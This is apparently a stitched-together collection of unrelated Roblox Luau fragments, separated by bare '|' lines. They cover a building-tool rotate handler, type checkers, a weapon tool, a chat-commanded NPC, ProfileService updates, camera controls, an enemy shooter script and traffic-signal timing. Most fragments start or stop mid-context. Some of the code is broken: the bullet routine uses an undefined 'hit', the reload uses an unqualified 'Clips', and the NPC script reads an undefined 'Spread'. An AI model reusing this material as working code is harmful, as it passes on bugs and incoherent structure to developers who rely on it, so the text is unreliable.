ZIndicator.Text = CommonZ or '*';
end;
end;
function SetPivot(PivotMode)
-- Sets the given rotation pivot mode
-- Update setting
RotateTool.Pivot = PivotMode;
-- Update the UI switch
if RotateTool.UI then
Core.ToggleSwitch(PivotMode, RotateTool.UI.PivotOption);
end;
-- Disable any unnecessary bounding boxes
BoundingBox.ClearBoundingBox();
-- For center mode, use bounding box handles
if PivotMode == 'Center' then
BoundingBox.StartBoundingBox(AttachHandles);
-- For local mode, use focused part handles
elseif PivotMode == 'Local' then
AttachHandles(Selection.Focus, true);
-- For last mode, use focused part handles
elseif PivotMode == 'Last' then
AttachHandles(CustomPivotPoint and Handles.Adornee or Selection.Focus, true);
end;
end;
function AttachHandles(Part, Autofocus)
-- Creates and attaches handles to `Part`, and optionally automatically attaches to the focused part
-- Enable autofocus if requested and not already on
if Autofocus and not Connections.AutofocusHandle then
Connections.AutofocusHandle = Selection.FocusChanged:connect(function ()
AttachHandles(Selection.Focus, true);
end);
-- Disable autofocus if not requested and on
elseif not Autofocus and Connections.AutofocusHandle then
ClearConnection 'AutofocusHandle';
end;
-- Just attach and show the handles if they already exist
if Handles then
Handles.Adornee = Part;
Handles.Visible = true;
Handles.Parent = Part and Core.UIContainer or nil;
return;
end;
-- Create the handles
Handles = Create 'ArcHandles' {
Name = 'BTRotationHandles';
Color = RotateTool.Color;
Parent = Core.UIContainer;
Adornee = Part;
};
--------------------------------------------------------
-- Prepare for rotating parts when the handle is clicked
--------------------------------------------------------
local AreaPermissions;
Handles.MouseButton1Down:connect(function ()
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Indicate rotating via handle
HandleRotating = true;
-- Freeze bounding box extents while rotating
if BoundingBox.GetBoundingBox() then
InitialExtentsSize, InitialExtentsCFrame = BoundingBox.CalculateExtents(Core.Selection.Items, BoundingBox.StaticExtents);
BoundingBox.PauseMonitoring();
end;
-- Stop parts from moving, and capture the initial state of the parts
InitialState = PreparePartsForRotating();
-- Track the change
TrackChange();
-- Cache area permissions information
if Core.Mode == 'Tool' then
AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player);
end;
-- Set the pivot point to the center of the selection if in Center mode
if RotateTool.Pivot == 'Center' then
PivotPoint = BoundingBox.GetBoundingBox().CFrame;
-- Set the pivot point to the center of the focused part if in Last mode
elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then
PivotPoint = InitialState[Selection.Focus].CFrame;
end;
end);
------------------------------------------
-- Update parts when the handles are moved
------------------------------------------
Handles.MouseDrag:connect(function (Axis, Rotation)
-- Only rotate if handle is enabled
if not HandleRotating then
return;
end;
-- Turn the rotation amount into degrees
Rotation = math.deg(Rotation);
-- Calculate the increment-aligned rotation amount
Rotation = GetIncrementMultiple(Rotation, RotateTool.Increment) % 360;
-- Get displayable rotation delta
local DisplayedRotation = GetHandleDisplayDelta(Rotation);
-- Perform the rotation
RotatePartsAroundPivot(RotateTool.Pivot, PivotPoint, Axis, Rotation, InitialState);
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialState) do
Part.CFrame = State.CFrame;
end;
-- Reset displayed rotation delta
DisplayedRotation = 0;
end;
-- Update the "degrees rotated" indicator
if RotateTool.UI then
RotateTool.UI.Changes.Text.Text = 'rotated ' .. DisplayedRotation .. ' degrees';
end;
end);
end;
|
--[[**
ensures value is a table and all keys pass keyCheck and all values pass valueCheck
@param keyCheck The function to use to check the keys
@param valueCheck The function to use to check the values
@returns A function that will return true iff the condition is passed
**--]]
|
function t.map(keyCheck, valueCheck)
assert(t.callback(keyCheck))
assert(t.callback(valueCheck))
local keyChecker = t.keys(keyCheck)
local valueChecker = t.values(valueCheck)
return function(value)
local keySuccess = keyChecker(value)
if not keySuccess then
return false
end
local valueSuccess = valueChecker(value)
if not valueSuccess then
return false
end
return true
end
end
|
--[[Member functions]]
|
function GunObject:Initialize()
self.Fire=WaitForChild(self.Handle, 'Fire')
self.Ammo = self.Tool:FindFirstChild("Ammo")
if self.Ammo ~= nil then
self.Ammo.Value = self.ClipSize
end
self.Clips = self.Tool:FindFirstChild("Clips")
if self.Clips ~= nil then
self.Clips.Value = self.StartingClips
end
self.Tool.Equipped:connect(function()
self.Tool.Handle.Fire:Stop()
self.Tool.Handle.Reload:Stop()
end)
self.Tool.Unequipped:connect(function()
self.Tool.Handle.Fire:Stop()
self.Tool.Handle.Reload:Stop()
end)
self.LaserObj = Instance.new("Part")
self.LaserObj.Name = "Bullet"
self.LaserObj.Anchored = true
self.LaserObj.CanCollide = false
self.LaserObj.Shape = "Block"
self.LaserObj.formFactor = "Custom"
self.LaserObj.Material = Enum.Material.Plastic
self.LaserObj.Locked = true
self.LaserObj.TopSurface = 0
self.LaserObj.BottomSurface = 0
local tSparkEffect = Instance.new("Part")
tSparkEffect.Name = "Effect"
tSparkEffect.Anchored = false
tSparkEffect.CanCollide = false
tSparkEffect.Shape = "Block"
tSparkEffect.formFactor = "Custom"
tSparkEffect.Material = Enum.Material.Plastic
tSparkEffect.Locked = true
tSparkEffect.TopSurface = 0
tSparkEffect.BottomSurface = 0
self.SparkEffect=tSparkEffect
local tshell = Instance.new('Part')
tshell.Name='effect'
tshell.FormFactor='Custom'
tshell.Size=Vector3.new(1, 0.4, 0.33)
tshell.BrickColor=BrickColor.new('Bright yellow')
local tshellmesh=WaitForChild(script.Parent,'BulletMesh'):Clone()
tshellmesh.Parent=tshell
self.ShellPart = tshell
self.DownVal.Changed:connect(function()
while self.DownVal.Value and self.check and not self.Reloading do
self.check = false
local humanoid = self.Tool.Parent:FindFirstChild("Humanoid")
local plr1 = game.Players:GetPlayerFromCharacter(self.Tool.Parent)
if humanoid ~= nil and plr1 ~= nil then
if humanoid.Health > 0 then
local spos1 = (self.Tool.Handle.CFrame * self.BarrelPos).p
delay(0, function() self:SendBullet(spos1, self.AimVal.Value, self.Spread, self.SegmentLength, self.Tool.Parent, self.Colors[1], self.GunDamage, self.FadeDelayTime) end)
else
self.check = true
break
end
else
self.check = true
break
end
wait(self.FireRate)
self.check = true
if not self.Automatic then
break
end
end
end)
self.ReloadingVal.Changed:connect(function() if self.ReloadingVal.Value then self:Reload() end end)
end
function GunObject:Reload()
self.Reloading = true
self.ReloadingVal.Value = true
if self.Clips ~= nil then
if self.Clips.Value > 0 then
self.Clips.Value = Clips.Value - 1
else
self.Reloading = false
self.ReloadingVal.Value = false
return
end
end
self.Tool.Handle.Reload:Play()
for i = 1, self.ClipSize do
wait(self.ReloadTime/self.ClipSize)
self.Ammo.Value = i
end
self.Reloading = false
self.Tool.Reloading.Value = false
end
function GunObject:SpawnShell()
local tshell=self.ShellPart:Clone()
tshell.CFrame=self.Handle.CFrame
tshell.Parent=Workspace
game.Debris:AddItem(tshell,2)
end
function KnockOffHats(tchar)
for _,i in pairs(tchar:GetChildren()) do
if i:IsA('Hat') then
i.Parent=game.Workspace
end
end
end
function KnockOffTool(tchar)
for _,i in pairs(tchar:GetChildren()) do
if i:IsA('Tool') then
i.Parent=game.Workspace
end
end
end
function GunObject:SendBullet(boltstart, targetpos, fuzzyness, SegmentLength, ignore, clr, damage, fadedelay)
if self.Ammo.Value <=0 then return end
self.Ammo.Value = self.Ammo.Value - 1
self:SpawnShell()
self.Fire.Pitch = (math.random() * .5) + .75
self.Fire:Play()
self.DoFireAni.Value = not self.DoFireAni.Value
print(self.Fire.Pitch)
local boltdist = self.Range
local clickdist = (boltstart - targetpos).magnitude
local targetpos = targetpos + (Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * (clickdist/100))
local boltvec = (targetpos - boltstart).unit
local totalsegments = math.ceil(boltdist/SegmentLength)
local lastpos = boltstart
for i = 1, totalsegments do
local newpos = (boltstart + (boltvec * (boltdist * (i/totalsegments))))
local segvec = (newpos - lastpos).unit
local boltlength = (newpos - lastpos).magnitude
local bolthit, endpos = CastRay(lastpos, segvec, boltlength, ignore, false)
DrawBeam(lastpos, endpos, clr, fadedelay, self.LaserObj)
if bolthit ~= nil then
local h = bolthit.Parent:FindFirstChild("Humanoid")
if h ~= nil then
local plr = game.Players:GetPlayerFromCharacter(self.Tool.Parent)
if plr ~= nil then
local creator = Instance.new("ObjectValue")
creator.Name = "creator"
creator.Value = plr
creator.Parent = h
end
if hit.Parent:FindFirstChild("BlockShot") then
hit.Parent:FindFirstChild("BlockShot"):Fire(newpos)
delay(0, function() self:HitEffect(endpos, bolthit,5) end)
else
if(hit.Name=='Head') then
KnockOffHats(hit.Parent)
end
if GoreOn then delay(0,function() self:HitEffect(endpos, bolthit,20) end) end
if not GLib.IsTeammate(GLib.GetPlayerFromPart(script), GLib.GetPlayerFromPart(h)) then
GLib.TagHumanoid(GLib.GetPlayerFromPart(script), h, 1)
h:TakeDamage(damage)
end
end
else
delay(0, function() self:HitEffect(endpos, bolthit,5) end)
end
break
end
lastpos = endpos
wait(Rate)
end
if self.Ammo.Value < 1 then
self:Reload()
end
end
function GunObject:MakeSpark(pos,p)
local effect=self.SparkEffect:Clone()
effect.BrickColor = p.BrickColor
effect.Material = p.Material
effect.Transparency = p.Transparency
effect.Reflectance = p.Reflectance
effect.CFrame = CFrame.new(pos)
effect.Parent = game.Workspace
local effectVel = Instance.new("BodyVelocity")
effectVel.maxForce = Vector3.new(99999, 99999, 99999)
effectVel.velocity = Vector3.new(math.random() * 15 * SigNum(math.random( - 10, 10)), math.random() * 15 * SigNum(math.random( - 10, 10)), math.random() * 15 * SigNum(math.random( - 10, 10)))
effectVel.Parent = effect
effect.Size = Vector3.new(math.abs(effectVel.velocity.x)/30, math.abs(effectVel.velocity.y)/30, math.abs(effectVel.velocity.z)/30)
wait()
effectVel:Destroy()
local effecttime = .5
game.Debris:AddItem(effect, effecttime * 2)
local startTime = time()
while time() - startTime < effecttime do
if effect ~= nil then
effect.Transparency = (time() - startTime)/effecttime
end
wait()
end
if effect ~= nil then
effect.Parent = nil
end
end
function GunObject:HitEffect(pos,p,numSparks)
for i = 0, numSparks, 1 do
Spawn(function() self:MakeSpark(pos,p) end)
end
end
|
--[[**
ensures Roblox PhysicalProperties type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.PhysicalProperties = t.typeof("PhysicalProperties")
|
-- connect events
-----------------------------------------------------------------------------------------------------------------------
|
function unequip()
local items=script.Parent:children()
for i=1, #items do
if items[i].className=="Tool" then items[i]:remove() end
end
end
function onChatted(msg, recipient)
msg = string.lower(msg)
if string.match(msg, string.lower(script.Parent.Name))~=nil or string.match(msg, "everyone") then
if string.match(msg, "equip") then
if game.Workspace:findFirstChild("Hub") then
if string.match(msg, "rocket") then unequip()
game.Workspace.Hub.Rocket:clone().Parent=script.Parent
elseif string.match(msg, "slingshot") then unequip()
game.Workspace.Hub.Slingshot:clone().Parent=script.Parent
elseif string.match(msg, "sword") then unequip()
game.Workspace.Hub.Sword:clone().Parent=script.Parent
elseif string.match(msg, "pbg") then unequip()
game.Workspace.Hub.PBG:clone().Parent=script.Parent
elseif string.match(msg, "superball") then unequip()
game.Workspace.Hub.Superball:clone().Parent=script.Parent
elseif string.match(msg, "trowel") then unequip()
game.Workspace.Hub.Trowel:clone().Parent=script.Parent
elseif string.match(msg, "bomb") then unequip()
game.Workspace.Hub.Bomb:clone().Parent=script.Parent
end
end
end
if string.match(msg, "unequip") then unequip() end
if string.match(msg, "run") then onRunning(1) end
if string.match(msg, "climb") then onClimbing() end
if string.match(msg, "jump") then onJumping() end
if string.match(msg, "zombie") then pose="Zombie" end
if string.match(msg, "disco") then pose="Boogy" end
if string.match(msg, "float") then pose="Float" end
if string.match(msg, "punch") then pose="Punch" end
if string.match(msg, "kick") then pose="Kick" end
if string.match(msg, "fly") then pose="Fly" end
if string.match(msg, "heal") then script.Parent.Humanoid.Health=script.Parent.Humanoid.MaxHealth end
if string.match(msg, "defend") then defence() end
if string.match(msg, "stop") then pose="Standing"; proxkill=false; following=false; stopmoving() end
if string.match(msg, "go home") then following=false; gohome() end
if string.match(msg, "follow") then
if string.match(msg, "all") then
followany()
else
local egg=game.Players:children()
for i=1, #egg do
if string.match(msg, string.lower(egg[i].Name)) then
follow(egg[i].Name)
return
end
end
end
end
if string.match(msg, "kill") then
if string.match(msg, "all") then
attackany()
else
local egg=game.Players:children()
for i=1, #egg do
if string.match(msg, string.lower(egg[i].Name)) then
attack(egg[i].Name)
return
end
end
end
end
end
end
if game.Players.NumPlayers>1 then
x=game.Players:children()
for i=1, #x do
if script.Parent:findFirstChild("Commander")~=nil then
if script.Parent.Commander:children()~=nil or script.Parent.Commander:children()>0 then
local ch=script.Parent.Commander:children()
for i=1, #ch do
if string.lower(ch[i].Name)==string.lower(x[i].Name) then
x[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end)
end
end
elseif string.lower(script.Parent.Commander.Value)==string.lower(x[i].Name) then
x[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end)
end
else
x[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end)
end
end
end
function onPlayerEntered(Player)
while Player.Name==nil do
wait(2)
end
if script.Parent:findFirstChild("Commander")~=nil then
if script.Parent.Commander:children()~=nil or script.Parent.Commander:children()>0 then
local ch=script.Parent.Commander:children()
for i=1, #ch do
if string.lower(ch[i].Name)==string.lower(Player.Name) then
Player.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end)
end
end
elseif string.lower(script.Parent.Commander.Value)==string.lower(Player.Name) then
Player.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end)
end
else
Player.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end)
end
end
game.Players.ChildAdded:connect(onPlayerEntered)
|
--[[
A special key for property tables, which allows users to extract values from
an instance into an automatically-updated Value object.
]]
|
local Package = script.Parent.Parent
local parseError = require(Package.Dependencies).utility.parseError
local xtypeof = require(Package.ObjectUtility).xtypeof
local function Out(propertyName: string)
local outKey = {}
outKey.type = "SpecialKey"
outKey.kind = "Out"
outKey.stage = "observer"
function outKey:apply(outState: any, applyTo: Instance, cleanupTasks: {})
local ok, event = pcall(applyTo.GetPropertyChangedSignal, applyTo, propertyName)
if not ok then
parseError("invalidOutProperty", nil, applyTo.ClassName, propertyName)
elseif xtypeof(outState) ~= "State" or outState.kind ~= "Value" then
parseError("invalidOutType")
else
outState:set((applyTo :: any)[propertyName])
table.insert(
cleanupTasks,
event:Connect(function()
outState:set((applyTo :: any)[propertyName])
end)
)
table.insert(cleanupTasks, function()
outState:set(nil)
end)
end
end
return outKey
end
return Out
|
-- The currently idle thread to run the next handler on
|
local freeRunnerThread: thread? = nil
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "u" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
limitButton.Text = "Free Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 45
limitButton.Text = "FPV Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
limitButton.Text = "Standard Camera"
wait(3)
limitButton.Text = ""
end
end
end)
|
-- EXPOSED TO "update_handler" DURING ProfileStore:GlobalUpdateProfileAsync() CALL
|
function GlobalUpdates:AddActiveUpdate(update_data)
if type(update_data) ~= "table" then
error("[ProfileService]: Invalid update_data")
end
if self._new_active_update_listeners ~= nil then
error("[ProfileService]: Can't add active global updates in loaded Profile; Use ProfileStore:GlobalUpdateProfileAsync()")
elseif self._update_handler_mode ~= true then
error("[ProfileService]: Can't add active global updates in view mode; Use ProfileStore:GlobalUpdateProfileAsync()")
end
-- self._updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}}
local updates_latest = self._updates_latest
local update_index = updates_latest[1] + 1 -- Incrementing global update index
updates_latest[1] = update_index
-- Add new active global update:
table.insert(updates_latest[2], {update_index, 1, false, update_data})
end
function GlobalUpdates:ChangeActiveUpdate(update_id, update_data)
if type(update_id) ~= "number" then
error("[ProfileService]: Invalid update_id")
end
if type(update_data) ~= "table" then
error("[ProfileService]: Invalid update_data")
end
if self._new_active_update_listeners ~= nil then
error("[ProfileService]: Can't change active global updates in loaded Profile; Use ProfileStore:GlobalUpdateProfileAsync()")
elseif self._update_handler_mode ~= true then
error("[ProfileService]: Can't change active global updates in view mode; Use ProfileStore:GlobalUpdateProfileAsync()")
end
-- self._updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}}
local updates_latest = self._updates_latest
local get_global_update = nil
for _, global_update in ipairs(updates_latest[2]) do
if update_id == global_update[1] then
get_global_update = global_update
break
end
end
if get_global_update ~= nil then
if get_global_update[3] == true then
error("[ProfileService]: Can't change locked global update")
end
get_global_update[2] = get_global_update[2] + 1 -- Increment version id
get_global_update[4] = update_data -- Set new global update data
else
error("[ProfileService]: Passed non-existant update_id")
end
end
function GlobalUpdates:ClearActiveUpdate(update_id)
if type(update_id) ~= "number" then
error("[ProfileService]: Invalid update_id argument")
end
if self._new_active_update_listeners ~= nil then
error("[ProfileService]: Can't clear active global updates in loaded Profile; Use ProfileStore:GlobalUpdateProfileAsync()")
elseif self._update_handler_mode ~= true then
error("[ProfileService]: Can't clear active global updates in view mode; Use ProfileStore:GlobalUpdateProfileAsync()")
end
-- self._updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}}
local updates_latest = self._updates_latest
local get_global_update_index = nil
local get_global_update = nil
for index, global_update in ipairs(updates_latest[2]) do
if update_id == global_update[1] then
get_global_update_index = index
get_global_update = global_update
break
end
end
if get_global_update ~= nil then
if get_global_update[3] == true then
error("[ProfileService]: Can't clear locked global update")
end
table.remove(updates_latest[2], get_global_update_index) -- Remove active global update
else
error("[ProfileService]: Passed non-existant update_id")
end
end
|
-------- OMG HAX
|
r = game:service("RunService")
Tool = script.Parent
hammer = Tool["Left Leg"]
while true do
wait(math.random(4,15))
local damm = script.Parent.Head.Deadly:Clone()
pos = script.Parent["Right Leg"].Position-Vector3.new(0,10,0)
local shockRing = Instance.new("Part")
shockRing.formFactor = 2
shockRing.Size = Vector3.new(1, 0.4, 1)
shockRing.Anchored = true
shockRing.Locked = true
shockRing.CanCollide = false
shockRing.archivable = false
shockRing.TopSurface = 0
shockRing.BottomSurface = 0
shockRing.Transparency = 1
damm.Parent = shockRing
local decal = Instance.new("Decal")
decal.Face = 1
decal.Texture = "http://www.roblox.com/asset/?version=1&id=1280730"
decal.Parent = shockRing
local bottomDecal = decal:Clone()
bottomDecal.Face = 4
bottomDecal.Parent = shockRing
shockRing.CFrame = CFrame.new(pos)
for x = 1, 29 do
delay(x / 30, function() shockRing.Parent = nil shockRing.Size = Vector3.new(0, 0.4, 0) + Vector3.new(6.4, 0, 6.4) * x shockRing.Parent = Tool end)
end
delay(1, function() shockRing.Parent = nil end)
hammer.Boom:Play()
end
|
--
|
function Triangle:SetParent(parent)
self.Beam.Parent = parent
self.Attachment0.Parent = parent
self.Attachment1.Parent = parent
self.Parent = parent
end
function Triangle:SetBeamProperties(properties)
for prop, value in next, properties do
self.Beam[prop] = value
end
end
function Triangle:Draw(a, b, c)
a = a or self.a
b = b or self.b
c = c or self.c
self.a = a
self.b = b
self.c = c
local ab, ac, bc = b - a, c - a, c - b
local abd, acd, bcd = ab:Dot(ab), ac:Dot(ac), bc:Dot(bc)
if (abd > acd and abd > bcd) then
c, a = a, c
elseif (acd > bcd and acd > abd) then
a, b = b, a
end
ab, ac, bc = b - a, c - a, c - b
local normal = ab:Cross(ac).Unit
local height = normal:Cross(ab).Unit
local parentInv = self.Parent.CFrame:Inverse()
self.Attachment0.CFrame = parentInv * CFrame.fromMatrix((a + b)/2, height, ab, normal)
self.Attachment1.CFrame = parentInv * CFrame.new(c)
self.Beam.Width0 = (a - b).Magnitude
end
|
-- constants
|
local CUSTOMIZATION = ReplicatedStorage.Customization
local PLAYER_DATA = ReplicatedStorage.PlayerData
local REMOTES = ReplicatedStorage.Remotes
local MAX_SLOTS = 5
local SLOT_SIZE = 30
|
-- Update camera if it changes
|
workspace.Changed:connect(function (p)
if p == "CurrentCamera" then
camera = workspace.CurrentCamera
end
end)
|
--[[ @brief Runs all currently queued functions.
--]]
|
function FunctionQueue:Dispatch()
for i, v in pairs(self._Functions) do
local f = v[1];
local args = v[2];
local co = coroutine.create(f);
local success, error = coroutine.resume(co, unpack(args));
if not success then
Log.Warn("Function %s terminated with an error: %s", f, error);
end
end
self._Functions = {};
end
|
-- WorldSize -> ScreenSize
|
function ScreenSpace.WorldWidthToScreenWidth(worldWidth, depth)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
local sx = ScreenSpace.ViewSizeX()
--
return -(worldWidth * sx) / (2 * wfactor * depth)
end
function ScreenSpace.WorldHeightToScreenHeight(worldHeight, depth)
local hfactor = math.tan(math.rad(workspace.CurrentCamera.FieldOfView)/2)
local sy = ScreenSpace.ViewSizeY()
--
return -(worldHeight * sy) / (2 * hfactor * depth)
end
|
---------------------------------------------------------------|
---------------------------------------------------------------|
---------------------------------------------------------------|
|
local Debris = game.Debris
local Engine = game.ReplicatedStorage:WaitForChild("ACS_Engine")
local Evt = Engine:WaitForChild("Events")
local ServerConfig = require(Engine.GameRules:WaitForChild("Config"))
local Settings = script.Parent.ACS_Modulo:WaitForChild("Config")
local Weapon = script.Parent:FindFirstChildOfClass("Tool")
local WeaponData = require(Weapon:WaitForChild("ACS_Settings"))
local ACS_Storage = workspace:WaitForChild("ACS_WorkSpace")
local Modules = Engine:WaitForChild("Modules")
local Hitmarker = require(Modules:WaitForChild("Hitmarker"))
local Ragdoll = require(Modules:WaitForChild("Ragdoll"))
local Ignore_Model = ACS_Storage:FindFirstChild("Server")
local BulletModel = ACS_Storage:FindFirstChild("Client")
local Ray_Ignore = {Ignore_Model, BulletModel, ACS_Storage}
local Dead = false
task.wait(3)
script.Parent.ForceField:Destroy()
script.Parent.Humanoid.Died:connect(function()
Ragdoll(script.Parent)
if script.Parent:FindFirstChild("Gun") ~= nil then
script.Parent.Gun.CanCollide = true
end
Dead = true
Debris:AddItem(script.Parent,game.Players.RespawnTime)
end)
local CanSee = false
local CurrentPart = nil
function onTouched(hit)
if hit.Parent == nil then
return
end
local humanoid = hit.Parent:findFirstChild("Humanoid")
if humanoid == nil then
CurrentPart = hit
end
end
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then
return child
end
while true do
--print(childName)
child = parent.ChildAdded:wait()
if child.Name==childName then
return child
end
end
end
local Figure = script.Parent
local Humanoid = waitForChild(Figure, "Humanoid")
local Torso = waitForChild(Figure, "Torso")
local Left = waitForChild(Figure, "Left Leg")
local Right = waitForChild(Figure, "Right Leg")
Left.Touched:connect(onTouched)
Right.Touched:connect(onTouched)
function getHumanoid(model)
for _, v in pairs(model:GetChildren())do
if v:IsA'Humanoid' then
return v
end
end
end
local zombie = script.Parent
local human = getHumanoid(zombie)
local hroot = zombie.Torso
local head = zombie:FindFirstChild'Head'
local pfs = game:GetService("PathfindingService")
local players = game:GetService('Players')
local RecoilSpread = Spread/100
local perception = 0
local Memory = 0
task.wait(.1)
local ammo=Settings.Ammo.Value -- How much ammo the Enemy has
local w=.14
local RPM = 1/(WeaponData.ShootRate/60)
local r=false
local t=script.Parent
local h=t:WaitForChild'Grip'
function Hitmaker(HitPart, Position, Normal, Material)
Evt.HitEffect:FireAllClients(nil, Position, HitPart, Normal, Material, WeaponData)
end
function CheckForHumanoid(L_225_arg1)
local L_226_ = false
local L_227_ = nil
if L_225_arg1 then
if (L_225_arg1.Parent:FindFirstChild("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChild("Humanoid")) then
L_226_ = true
if L_225_arg1.Parent:FindFirstChild('Humanoid') then
L_227_ = L_225_arg1.Parent.Humanoid
elseif L_225_arg1.Parent.Parent:FindFirstChild('Humanoid') then
L_227_ = L_225_arg1.Parent.Parent.Humanoid
end
else
L_226_ = false
end
end
return L_226_, L_227_
end
function CalcularDano(DanoBase,Dist,Vitima,Type)
local damage = 0
local VestDamage = 0
local HelmetDamage = 0
local Traveleddamage = DanoBase-(math.ceil(Dist)/40)*WeaponData.DamageFallOf
if Vitima.Parent:FindFirstChild("Saude") ~= nil then
local Vest = Vitima.Parent.Saude.Protecao.VestVida
local Vestfactor = Vitima.Parent.Saude.Protecao.VestProtect
local Helmet = Vitima.Parent.Saude.Protecao.HelmetVida
local Helmetfactor = Vitima.Parent.Saude.Protecao.HelmetProtect
if Type == "Head" then
if Helmet.Value > 0 and (WeaponData.BulletPenetration) < Helmetfactor.Value then
damage = Traveleddamage * ((WeaponData.BulletPenetration)/Helmetfactor.Value)
HelmetDamage = (Traveleddamage * ((100 - WeaponData.BulletPenetration)/Helmetfactor.Value))
if HelmetDamage <= 0 then
HelmetDamage = 0.5
end
elseif Helmet.Value > 0 and (WeaponData.BulletPenetration) >= Helmetfactor.Value then
damage = Traveleddamage
HelmetDamage = (Traveleddamage * ((100 - WeaponData.BulletPenetration)/Helmetfactor.Value))
if HelmetDamage <= 0 then
HelmetDamage = 1
end
elseif Helmet.Value <= 0 then
damage = Traveleddamage
end
else
if Vest.Value > 0 and (WeaponData.BulletPenetration) < Vestfactor.Value then
damage = Traveleddamage * ((WeaponData.BulletPenetration)/Vestfactor.Value)
VestDamage = (Traveleddamage * ((100 - WeaponData.BulletPenetration)/Vestfactor.Value))
if VestDamage <= 0 then
VestDamage = 0.5
end
elseif Vest.Value > 0 and (WeaponData.BulletPenetration) >= Vestfactor.Value then
damage = Traveleddamage
VestDamage = (Traveleddamage * ((100 - WeaponData.BulletPenetration)/Vestfactor.Value))
if VestDamage <= 0 then
VestDamage = 1
end
elseif Vest.Value <= 0 then
damage = Traveleddamage
end
end
else
damage = Traveleddamage
end
if damage <= 0 then
damage = 1
end
return damage,VestDamage,HelmetDamage
end
function Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
if VitimaHuman.Parent:FindFirstChild("Saude") ~= nil then
local Colete = VitimaHuman.Parent.Saude.Protecao.VestVida
local Capacete = VitimaHuman.Parent.Saude.Protecao.HelmetVida
Colete.Value = Colete.Value - DanoColete
Capacete.Value = Capacete.Value - DanoCapacete
end
VitimaHuman:TakeDamage(Dano)
end
local function reload(boo)
if(boo and ammo ~= Settings.Ammo.Value)or ammo==0 then
r=true
if w then
w=.03
end
h.Reload:Play()
task.wait(3) -- How long the Enemy reloads
ammo= Settings.Ammo.Value
if w then
w=.14
end
r=false
elseif boo then
task.wait(.1)
end
end
local function near()
if not Dead then
local dis,pl= Settings.ShotDistance.Value ,nil -- Range of the Enemy
for _,v in ipairs(game.Players:GetPlayers())do
if v.Character and v.Character:FindFirstChild'Humanoid'and v:DistanceFromCharacter(h.Position)<dis then
dis,pl=v:DistanceFromCharacter(h.Position),v
end
end
if pl then
return pl.Character:GetModelCFrame(),dis,CFrame.new(pl.Character.Humanoid.WalkToPoint).lookVector
else
return nil
end
end
end
|
-- float rd_flt_le(string src, int s)
-- @src - Source binary string
-- @s - Start index of little endian float
|
local function rd_flt_le(src, s) return rd_flt_basic(string.byte(src, s, s + 3)) end
|
--[[
Constants used throughout the testing framework.
]]
|
local TestEnum = {}
TestEnum.TestStatus = {
Success = "Success",
Failure = "Failure",
Skipped = "Skipped"
}
TestEnum.NodeType = {
Describe = "Describe",
It = "It",
BeforeAll = "BeforeAll",
AfterAll = "AfterAll",
BeforeEach = "BeforeEach",
AfterEach = "AfterEach"
}
TestEnum.NodeModifier = {
None = "None",
Skip = "Skip",
Focus = "Focus"
}
return TestEnum
|
-- update whether the character is running or not
|
humanoid.Running:Connect(function(speed)
if speed <= .3 then
isrunning = false
else
isrunning = true
end
end)
|
--
|
if(show_ammo == true) then
PS.Ammo.ATG.Text = " Minigun Bullets: ".. minigun.total
PS.Ammo.HM.Text = " Hydra Missile: Left: "..hydra.left..", Right: "..hydra.right
PS.Ammo.Visible = true
elseif(show_ammo == false) then
PS.Ammo.Visible = false
end
|
---------------------------------------------
|
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 1
PedValues.PedSignal2a.Value = 1
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL1 GREEN)
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 2
PedValues.PedSignal2a.Value = 2
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
